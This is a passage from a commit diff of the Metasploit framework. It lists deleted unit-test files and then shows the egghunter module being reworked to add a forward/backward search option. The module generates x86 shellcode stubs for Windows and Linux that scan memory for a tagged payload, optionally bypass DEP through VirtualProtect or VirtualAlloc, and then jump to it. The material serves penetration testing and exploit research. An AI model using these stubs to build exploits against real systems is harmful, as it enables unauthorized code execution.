  462. data/lib/rex/exploitation/omelet.rb.ut.rb +0 -27
  463. data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -280
  464. data/lib/rex/exploitation/seh.rb.ut.rb +0 -20
  465. data/lib/rex/file.rb.ut.rb +0 -17
  466. data/lib/rex/io/ring_buffer.rb.ut.rb +0 -135
  467. data/lib/rex/nop/opty2.rb.ut.rb +0 -24
  468. data/lib/rex/parser/arguments.rb.ut.rb +0 -68
  469. data/lib/rex/parser/ini.rb.ut.rb +0 -30
  470. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -18
  471. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -39
  472. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -37
  473. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb.ut.rb +0 -52
  474. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -43
  475. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -128
  476. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb.ut.rb +0 -64
  477. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb +0 -29
  478. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb +0 -155
  479. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb +0 -128
  480. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -124
  481. data/lib/rex/proto.rb.ts.rb +0 -9
  482. data/lib/rex/proto/dcerpc.rb.ts.rb +0 -10
  483. data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -492
  484. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -86
  485. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -42
  486. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -57
  487. data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -16
  488. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -47
  489. data/lib/rex/proto/drda.rb.ts.rb +0 -18
  490. data/lib/rex/proto/drda/constants.rb.ut.rb +0 -24
  491. data/lib/rex/proto/drda/packet.rb.ut.rb +0 -110
  492. data/lib/rex/proto/drda/utils.rb.ut.rb +0 -85
  493. data/lib/rex/proto/http.rb.ts.rb +0 -13
  494. data/lib/rex/proto/http/client.rb.ut.rb +0 -96
  495. data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -22
  496. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
  497. data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -25
  498. data/lib/rex/proto/http/header.rb.ut.rb +0 -47
  499. data/lib/rex/proto/http/packet.rb.ut.rb +0 -166
  500. data/lib/rex/proto/http/request.rb.ut.rb +0 -215
  501. data/lib/rex/proto/http/response.rb.ut.rb +0 -150
  502. data/lib/rex/proto/http/server.rb.ut.rb +0 -80
  503. data/lib/rex/proto/ntlm.rb.ut.rb +0 -181
  504. data/lib/rex/proto/rfb.rb.ut.rb +0 -40
  505. data/lib/rex/proto/smb.rb.ts.rb +0 -9
  506. data/lib/rex/proto/smb/client.rb.ut.rb +0 -224
  507. data/lib/rex/proto/smb/constants.rb.ut.rb +0 -19
  508. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -129
  509. data/lib/rex/proto/smb/utils.rb.ut.rb +0 -21
  510. data/lib/rex/proto/tftp/server.rb.ut.rb +0 -29
  511. data/lib/rex/service_manager.rb.ut.rb +0 -33
  512. data/lib/rex/socket.rb.ut.rb +0 -108
  513. data/lib/rex/socket/comm/local.rb.ut.rb +0 -76
  514. data/lib/rex/socket/parameters.rb.ut.rb +0 -52
  515. data/lib/rex/socket/range_walker.rb.ut.rb +0 -56
  516. data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -40
  517. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -62
  518. data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -29
  519. data/lib/rex/socket/switch_board.rb.ut.rb +0 -53
  520. data/lib/rex/socket/tcp.rb.ut.rb +0 -65
  521. data/lib/rex/socket/tcp_server.rb.ut.rb +0 -45
  522. data/lib/rex/socket/udp.rb.ut.rb +0 -45
  523. data/lib/rex/test.rb +0 -36
  524. data/lib/rex/text.rb.ut.rb +0 -193
  525. data/lib/rex/transformer.rb.ut.rb +0 -39
  526. data/lib/rex/ui/text/color.rb.ut.rb +0 -19
  527. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -35
  528. data/lib/rex/ui/text/table.rb.ut.rb +0 -56
@@ -22,389 +22,402 @@ module Exploitation
22
22
  # Conversion to use Metasm by jduck
23
23
  # Startreg code added by corelanc0d3r
24
24
  # Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
25
+ # Added support for searchforward option (true or false)
25
26
  #
26
27
  ###
27
28
  class Egghunter
28
29
 
29
- ###
30
- #
31
- # Windows-based egghunters
32
- #
33
- ###
34
- module Windows
35
- Alias = "win"
36
-
37
- module X86
38
- Alias = ARCH_X86
39
-
40
- #
41
- # The egg hunter stub for win/x86.
42
- #
43
- def hunter_stub(payload, badchars = '', opts = {})
44
-
45
- startreg = opts[:startreg]
46
-
47
- raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
48
- marker = "0x%x" % opts[:eggtag].unpack('V').first
49
-
50
- checksum = checksum_stub(payload, badchars, opts)
51
-
52
- startstub = ''
53
- if startreg
54
- if startreg.downcase != 'edx'
55
- startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
56
- else
57
- startstub = "\n\tjmp next_addr"
58
- end
59
- end
60
- startstub << "\n\t" if startstub.length > 0
61
-
62
- getpointer = ''
63
- getsize = ''
64
- getalloctype = ''
65
- getpc = ''
66
- jmppayload = "jmp edi"
67
-
68
- apireg = opts[:depreg] || 'esi'
69
- apidest = opts[:depdest]
70
- depsize = opts[:depsize]
71
-
72
- freeregs = [ "esi", "ebp", "ecx", "ebx" ]
73
-
74
- reginfo = {
75
- "ebx"=>["bx","bl","bh"],
76
- "ecx"=>["cx","cl","ch"]
77
- }
78
-
79
- if opts[:depmethod]
80
-
81
- if freeregs.index(apireg) == nil
82
- getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
83
- apireg = freeregs[0]
84
- end
85
- freeregs.delete(apireg)
86
-
87
- if opts[:depmethod].downcase == "virtualalloc"
88
- depsize = 0xfff
89
- end
90
-
91
- if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
92
- if apidest
93
- if freeregs.index(apidest) == nil
94
- getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
95
- apidest = freeregs[0]
96
- end
97
- else
98
- getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
99
- apidest = freeregs[0]
100
- end
101
- freeregs.delete(apidest)
102
- end
103
-
104
-
105
- sizereg = freeregs[0]
106
-
107
- if not depsize
108
- depsize = payload.length * 2
109
- if opts[:depmethod]
110
- if opts[:depmethod].downcase == "copy_size"
111
- depsize = payload.length
112
- end
113
- end
114
- end
115
-
116
- if depsize <= 127
117
- getsize << "push 0x%02x\n\t" % depsize
118
- else
119
- sizebytes = "%04x" % depsize
120
- low = sizebytes[2,4]
121
- high = sizebytes[0,2]
122
- if sizereg == "ecx" || sizereg == "ebx"
123
- regvars = reginfo[sizereg]
124
- getsize << "xor #{sizereg},#{sizereg}\n\t"
125
- if low != "00" and high != "00"
126
- getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
127
- elsif low != "00"
128
- getsize << "mov #{regvars[1]},0x%s\n\t" % low
129
- elsif high != "00"
130
- getsize << "mov #{regvars[2]},0x%s\n\t" % high
131
- end
132
- end
133
- if sizereg == "ebp"
134
- if low != "00" and high != "00"
135
- getsize << "xor #{sizereg},#{sizereg}\n\t"
136
- getsize << "mov bp,0x%s\n\t" % sizebytes
137
- end
138
- end
139
- # last resort
140
- if getsize == ''
141
- blockcnt = 0
142
- vpsize = 0
143
- blocksize = depsize
144
- while blocksize > 127
145
- blocksize = blocksize / 2
146
- blockcnt += 1
147
- end
148
- getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
149
- vpsize = blocksize
150
- depblockcnt = 0
151
- while depblockcnt < blockcnt
152
- getsize << "add #{sizereg},#{sizereg}\n\t"
153
- vpsize += vpsize
154
- depblockcnt += 1
155
- end
156
- delta = depsize - vpsize
157
- if delta > 0
158
- getsize << "add #{sizereg},0x%02x\n\t" % delta
159
- end
160
- end
161
- if opts[:depmethod].downcase == "virtualalloc"
162
- getsize << "inc #{sizereg}\n\t"
163
- end
164
-
165
- getsize << "push #{sizereg}\n\t"
166
-
167
- end
168
-
169
- getalloctype = getsize
170
-
171
- case opts[:depmethod].downcase
172
- when "virtualprotect"
173
- jmppayload = "push esp\n\tpush 0x40\n\t"
174
- jmppayload << getsize
175
- jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
176
- when "virtualalloc"
177
- jmppayload = "push 0x40\n\t"
178
- jmppayload << getalloctype
179
- jmppayload << "push 0x01\n\t"
180
- jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
181
- when "copy"
182
- jmppayload = getpc
183
- jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
184
- when "copy_size"
185
- jmppayload = getpc
186
- jmppayload << getsize
187
- jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
188
- end
189
- end
190
-
191
- jmppayload << "\n" if jmppayload.length > 0
192
-
193
- assembly = <<EOS
30
+ ###
31
+ #
32
+ # Windows-based egghunters
33
+ #
34
+ ###
35
+ module Windows
36
+ Alias = "win"
37
+
38
+ module X86
39
+ Alias = ARCH_X86
40
+
41
+ #
42
+ # The egg hunter stub for win/x86.
43
+ #
44
+ def hunter_stub(payload, badchars = '', opts = {})
45
+
46
+ startreg = opts[:startreg]
47
+ searchforward = opts[:searchforward]
48
+
49
+ raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
50
+ marker = "0x%x" % opts[:eggtag].unpack('V').first
51
+
52
+ checksum = checksum_stub(payload, badchars, opts)
53
+
54
+ startstub = ''
55
+ if startreg
56
+ if startreg.downcase != 'edx'
57
+ startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
58
+ else
59
+ startstub = "\n\tjmp next_addr"
60
+ end
61
+ end
62
+ startstub << "\n\t" if startstub.length > 0
63
+
64
+ # search forward or backward ?
65
+ flippage = "\n\tor dx,0xfff"
66
+ edxdirection = "\n\tinc edx"
67
+
68
+ if searchforward
69
+ if searchforward.to_s.downcase == 'false'
70
+ # go backwards
71
+ flippage = "\n\txor dl,dl"
72
+ edxdirection = "\n\tdec edx"
73
+ end
74
+ end
75
+
76
+ # other vars
77
+ getpointer = ''
78
+ getsize = ''
79
+ getalloctype = ''
80
+ getpc = ''
81
+ jmppayload = "jmp edi"
82
+
83
+ apireg = opts[:depreg] || 'esi'
84
+ apidest = opts[:depdest]
85
+ depsize = opts[:depsize]
86
+
87
+ freeregs = [ "esi", "ebp", "ecx", "ebx" ]
88
+
89
+ reginfo = {
90
+ "ebx"=>["bx","bl","bh"],
91
+ "ecx"=>["cx","cl","ch"]
92
+ }
93
+
94
+ if opts[:depmethod]
95
+
96
+ if freeregs.index(apireg) == nil
97
+ getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
98
+ apireg = freeregs[0]
99
+ end
100
+ freeregs.delete(apireg)
101
+
102
+ if opts[:depmethod].downcase == "virtualalloc"
103
+ depsize = 0xfff
104
+ end
105
+
106
+ if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
107
+ if apidest
108
+ if freeregs.index(apidest) == nil
109
+ getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
110
+ apidest = freeregs[0]
111
+ end
112
+ else
113
+ getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
114
+ apidest = freeregs[0]
115
+ end
116
+ freeregs.delete(apidest)
117
+ end
118
+
119
+
120
+ sizereg = freeregs[0]
121
+
122
+ if not depsize
123
+ depsize = payload.length * 2
124
+ if opts[:depmethod]
125
+ if opts[:depmethod].downcase == "copy_size"
126
+ depsize = payload.length
127
+ end
128
+ end
129
+ end
130
+
131
+ if depsize <= 127
132
+ getsize << "push 0x%02x\n\t" % depsize
133
+ else
134
+ sizebytes = "%04x" % depsize
135
+ low = sizebytes[2,4]
136
+ high = sizebytes[0,2]
137
+ if sizereg == "ecx" || sizereg == "ebx"
138
+ regvars = reginfo[sizereg]
139
+ getsize << "xor #{sizereg},#{sizereg}\n\t"
140
+ if low != "00" and high != "00"
141
+ getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
142
+ elsif low != "00"
143
+ getsize << "mov #{regvars[1]},0x%s\n\t" % low
144
+ elsif high != "00"
145
+ getsize << "mov #{regvars[2]},0x%s\n\t" % high
146
+ end
147
+ end
148
+ if sizereg == "ebp"
149
+ if low != "00" and high != "00"
150
+ getsize << "xor #{sizereg},#{sizereg}\n\t"
151
+ getsize << "mov bp,0x%s\n\t" % sizebytes
152
+ end
153
+ end
154
+ # last resort
155
+ if getsize == ''
156
+ blockcnt = 0
157
+ vpsize = 0
158
+ blocksize = depsize
159
+ while blocksize > 127
160
+ blocksize = blocksize / 2
161
+ blockcnt += 1
162
+ end
163
+ getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
164
+ vpsize = blocksize
165
+ depblockcnt = 0
166
+ while depblockcnt < blockcnt
167
+ getsize << "add #{sizereg},#{sizereg}\n\t"
168
+ vpsize += vpsize
169
+ depblockcnt += 1
170
+ end
171
+ delta = depsize - vpsize
172
+ if delta > 0
173
+ getsize << "add #{sizereg},0x%02x\n\t" % delta
174
+ end
175
+ end
176
+ if opts[:depmethod].downcase == "virtualalloc"
177
+ getsize << "inc #{sizereg}\n\t"
178
+ end
179
+
180
+ getsize << "push #{sizereg}\n\t"
181
+
182
+ end
183
+
184
+ getalloctype = getsize
185
+
186
+ case opts[:depmethod].downcase
187
+ when "virtualprotect"
188
+ jmppayload = "push esp\n\tpush 0x40\n\t"
189
+ jmppayload << getsize
190
+ jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
191
+ when "virtualalloc"
192
+ jmppayload = "push 0x40\n\t"
193
+ jmppayload << getalloctype
194
+ jmppayload << "push 0x01\n\t"
195
+ jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
196
+ when "copy"
197
+ jmppayload = getpc
198
+ jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
199
+ when "copy_size"
200
+ jmppayload = getpc
201
+ jmppayload << getsize
202
+ jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
203
+ end
204
+ end
205
+
206
+ jmppayload << "\n" if jmppayload.length > 0
207
+
208
+ assembly = <<EOS
194
209
  #{getpointer}
195
210
  #{startstub}
196
211
  check_readable:
197
- or dx,0xfff
212
+ #{flippage}
198
213
  next_addr:
199
- inc edx
200
- push edx
201
- push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
202
- pop eax
203
- int 0x2e
204
- cmp al,5
205
- pop edx
206
- je check_readable
214
+ #{edxdirection}
215
+ push edx
216
+ push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
217
+ pop eax
218
+ int 0x2e
219
+ cmp al,5
220
+ pop edx
221
+ je check_readable
207
222
  check_for_tag:
208
- ; check that the tag matches once
209
- mov eax,#{marker}
210
- mov edi,edx
211
- scasd
212
- jne next_addr
213
- ; it must match a second time too
214
- scasd
215
- jne next_addr
216
-
217
- ; check the checksum if the feature is enabled
223
+ ; check that the tag matches once
224
+ mov eax,#{marker}
225
+ mov edi,edx
226
+ scasd
227
+ jne next_addr
228
+ ; it must match a second time too
229
+ scasd
230
+ jne next_addr
231
+ ; check the checksum if the feature is enabled
218
232
  #{checksum}
219
-
220
- ; jump to the payload
221
- #{jmppayload}
233
+ ; jump to the payload
234
+ #{jmppayload}
222
235
  EOS
223
236
 
224
- assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
237
+ assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
225
238
 
226
- # return the stub
227
- assembled_code
228
- end
239
+ # return the stub
240
+ assembled_code
241
+ end
229
242
 
230
- end
231
- end
243
+ end
244
+ end
232
245
 
233
- ###
234
- #
235
- # Linux-based egghunters
236
- #
237
- ###
238
- module Linux
239
- Alias = "linux"
246
+ ###
247
+ #
248
+ # Linux-based egghunters
249
+ #
250
+ ###
251
+ module Linux
252
+ Alias = "linux"
240
253
 
241
- module X86
242
- Alias = ARCH_X86
254
+ module X86
255
+ Alias = ARCH_X86
243
256
 
244
- #
245
- # The egg hunter stub for linux/x86.
246
- #
247
- def hunter_stub(payload, badchars = '', opts = {})
257
+ #
258
+ # The egg hunter stub for linux/x86.
259
+ #
260
+ def hunter_stub(payload, badchars = '', opts = {})
248
261
 
249
- startreg = opts[:startreg]
262
+ startreg = opts[:startreg]
250
263
 
251
- raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
252
- marker = "0x%x" % opts[:eggtag].unpack('V').first
264
+ raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
265
+ marker = "0x%x" % opts[:eggtag].unpack('V').first
253
266
 
254
- checksum = checksum_stub(payload, badchars, opts)
267
+ checksum = checksum_stub(payload, badchars, opts)
255
268
 
256
- startstub = ''
257
- if startreg
258
- if startreg.downcase != 'ecx'
259
- startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
260
- else
261
- startstub = "\n\tjmp next_addr"
262
- end
263
- end
264
- startstub << "\n\t" if startstub.length > 0
269
+ startstub = ''
270
+ if startreg
271
+ if startreg.downcase != 'ecx'
272
+ startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
273
+ else
274
+ startstub = "\n\tjmp next_addr"
275
+ end
276
+ end
277
+ startstub << "\n\t" if startstub.length > 0
265
278
 
266
- assembly = <<EOS
267
- cld
279
+ assembly = <<EOS
280
+ cld
268
281
  #{startstub}
269
282
  check_readable:
270
- or cx,0xfff
283
+ or cx,0xfff
271
284
  next_addr:
272
- inc ecx
273
- push 0x43 ; use 'sigaction' syscall
274
- pop eax
275
- int 0x80
276
- cmp al,0xf2
277
- je check_readable
285
+ inc ecx
286
+ push 0x43 ; use 'sigaction' syscall
287
+ pop eax
288
+ int 0x80
289
+ cmp al,0xf2
290
+ je check_readable
278
291
 
279
292
  check_for_tag:
280
- ; check that the tag matches once
281
- mov eax,#{marker}
282
- mov edi,ecx
283
- scasd
284
- jne next_addr
285
- ; it must match a second time too
286
- scasd
287
- jne next_addr
288
-
289
- ; check the checksum if the feature is enabled
293
+ ; check that the tag matches once
294
+ mov eax,#{marker}
295
+ mov edi,ecx
296
+ scasd
297
+ jne next_addr
298
+ ; it must match a second time too
299
+ scasd
300
+ jne next_addr
301
+
302
+ ; check the checksum if the feature is enabled
290
303
  #{checksum}
291
304
 
292
- ; jump to the payload
293
- jmp edi
305
+ ; jump to the payload
306
+ jmp edi
294
307
  EOS
295
308
 
296
- assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
297
-
298
- # return the stub
299
- assembled_code
300
- end
301
-
302
- end
303
- end
304
-
305
- ###
306
- #
307
- # Generic interface
308
- #
309
- ###
310
-
311
- #
312
- # Creates a new egghunter instance and acquires the sub-class that should
313
- # be used for generating the stub based on the supplied platform and
314
- # architecture.
315
- #
316
- def initialize(platform, arch = nil)
317
- Egghunter.constants.each { |c|
318
- mod = self.class.const_get(c)
319
-
320
- next if ((!mod.kind_of?(::Module)) or
321
- (!mod.const_defined?('Alias')))
322
-
323
- if (platform =~ /#{mod.const_get('Alias')}/i)
324
- self.extend(mod)
325
-
326
- if (arch and mod)
327
- mod.constants.each { |a|
328
- amod = mod.const_get(a)
329
-
330
- next if ((!amod.kind_of?(::Module)) or
331
- (!amod.const_defined?('Alias')))
332
-
333
- if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
334
- amod = mod.const_get(a)
335
-
336
- self.extend(amod)
337
- end
338
- }
339
- end
340
- end
341
- }
342
- end
343
-
344
- #
345
- # This method generates an egghunter using the derived hunter stub.
346
- #
347
- def generate(payload, badchars = '', opts = {})
348
- # set defaults if options are missing
349
-
350
- # NOTE: there is no guarantee this won't exist in memory, even when doubled.
351
- # To address this, use the checksum feature :)
352
- opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
353
-
354
- # Generate the hunter_stub portion
355
- return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
356
-
357
- # Generate the marker bits to be prefixed to the real payload
358
- egg = ''
359
- egg << opts[:eggtag] * 2
360
- egg << payload
361
- if opts[:checksum]
362
- cksum = 0
363
- payload.each_byte { |b|
364
- cksum += b
365
- }
366
- egg << [cksum & 0xff].pack('C')
367
- end
368
-
369
- return [ hunter, egg ]
370
- end
309
+ assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
310
+
311
+ # return the stub
312
+ assembled_code
313
+ end
314
+
315
+ end
316
+ end
317
+
318
+ ###
319
+ #
320
+ # Generic interface
321
+ #
322
+ ###
323
+
324
+ #
325
+ # Creates a new egghunter instance and acquires the sub-class that should
326
+ # be used for generating the stub based on the supplied platform and
327
+ # architecture.
328
+ #
329
+ def initialize(platform, arch = nil)
330
+ Egghunter.constants.each { |c|
331
+ mod = self.class.const_get(c)
332
+
333
+ next if ((!mod.kind_of?(::Module)) or
334
+ (!mod.const_defined?('Alias')))
335
+
336
+ if (platform =~ /#{mod.const_get('Alias')}/i)
337
+ self.extend(mod)
338
+
339
+ if (arch and mod)
340
+ mod.constants.each { |a|
341
+ amod = mod.const_get(a)
342
+
343
+ next if ((!amod.kind_of?(::Module)) or
344
+ (!amod.const_defined?('Alias')))
345
+
346
+ if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
347
+ amod = mod.const_get(a)
348
+
349
+ self.extend(amod)
350
+ end
351
+ }
352
+ end
353
+ end
354
+ }
355
+ end
356
+
357
+ #
358
+ # This method generates an egghunter using the derived hunter stub.
359
+ #
360
+ def generate(payload, badchars = '', opts = {})
361
+ # set defaults if options are missing
362
+
363
+ # NOTE: there is no guarantee this won't exist in memory, even when doubled.
364
+ # To address this, use the checksum feature :)
365
+ opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
366
+
367
+ # Generate the hunter_stub portion
368
+ return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
369
+
370
+ # Generate the marker bits to be prefixed to the real payload
371
+ egg = ''
372
+ egg << opts[:eggtag] * 2
373
+ egg << payload
374
+ if opts[:checksum]
375
+ cksum = 0
376
+ payload.each_byte { |b|
377
+ cksum += b
378
+ }
379
+ egg << [cksum & 0xff].pack('C')
380
+ end
381
+
382
+ return [ hunter, egg ]
383
+ end
371
384
 
372
385
  protected
373
386
 
374
- #
375
- # Stub method that is meant to be overridden. It returns the raw stub that
376
- # should be used as the egghunter.
377
- #
378
- def hunter_stub(payload, badchars = '', opts = {})
379
- end
380
-
381
- def checksum_stub(payload, badchars = '', opts = {})
382
- return '' if not opts[:checksum]
383
-
384
- if payload.length < 0x100
385
- cmp_reg = "cl"
386
- elsif payload.length < 0x10000
387
- cmp_reg = "cx"
388
- else
389
- raise RuntimeError, "Payload too big!"
390
- end
391
- egg_size = "0x%x" % payload.length
392
-
393
- checksum = <<EOS
394
- push ecx
395
- xor ecx,ecx
396
- xor eax,eax
387
+ #
388
+ # Stub method that is meant to be overridden. It returns the raw stub that
389
+ # should be used as the egghunter.
390
+ #
391
+ def hunter_stub(payload, badchars = '', opts = {})
392
+ end
393
+
394
+ def checksum_stub(payload, badchars = '', opts = {})
395
+ return '' if not opts[:checksum]
396
+
397
+ if payload.length < 0x100
398
+ cmp_reg = "cl"
399
+ elsif payload.length < 0x10000
400
+ cmp_reg = "cx"
401
+ else
402
+ raise RuntimeError, "Payload too big!"
403
+ end
404
+ egg_size = "0x%x" % payload.length
405
+
406
+ checksum = <<EOS
407
+ push ecx
408
+ xor ecx,ecx
409
+ xor eax,eax
397
410
  calc_chksum_loop:
398
- add al,byte [edi+ecx]
399
- inc ecx
400
- cmp #{cmp_reg},#{egg_size}
401
- jnz calc_chksum_loop
411
+ add al,byte [edi+ecx]
412
+ inc ecx
413
+ cmp #{cmp_reg},#{egg_size}
414
+ jnz calc_chksum_loop
402
415
  test_chksum:
403
- cmp al,byte [edi+ecx]
404
- pop ecx
405
- jnz next_addr
416
+ cmp al,byte [edi+ecx]
417
+ pop ecx
418
+ jnz next_addr
406
419
  EOS
407
- end
420
+ end
408
421
 
409
422
  end
410
423